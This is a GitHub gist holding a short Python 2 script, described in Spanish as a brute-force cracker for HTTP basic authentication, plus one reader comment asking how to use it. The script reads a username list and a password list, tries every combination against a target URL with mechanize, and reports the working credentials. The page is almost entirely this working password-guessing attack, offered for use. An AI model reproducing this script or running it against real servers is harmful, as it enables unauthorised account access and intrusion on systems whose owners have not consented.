Skip to content

Instantly share code, notes, and snippets.

@XayOn
Created September 19, 2013 14:44
Show Gist options
  • Save XayOn/6624584 to your computer and use it in GitHub Desktop.
Save XayOn/6624584 to your computer and use it in GitHub Desktop.
Como hacer un brute force cracker para autenticación básica http en veinte lineas de python, con coloricos y todo. Argumentos: <fichero de usuarios> <fichero de contraseñas> <url>
#!/usr/bin/env python
from termcolor import colored
import sys, mechanize
with open(sys.argv[1]) as userfile:
users = [u.strip() for u in userfile.readlines()]
with open(sys.argv[2]) as pwfile:
passwords = [u.strip() for u in pwfile.readlines()]
for user in users:
for password in passwords:
try:
b = mechanize.Browser()
b.add_password(sys.argv[3], user, password)
b.open(sys.argv[3], "")
except Exception, e:
print(colored("%s:%s - %s" %(user, password, e), "red"))
else:
print(colored("Correct combination: %s:%s" %(user, password), "green"))
break
@Pedro4549
Copy link

how do i use it

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment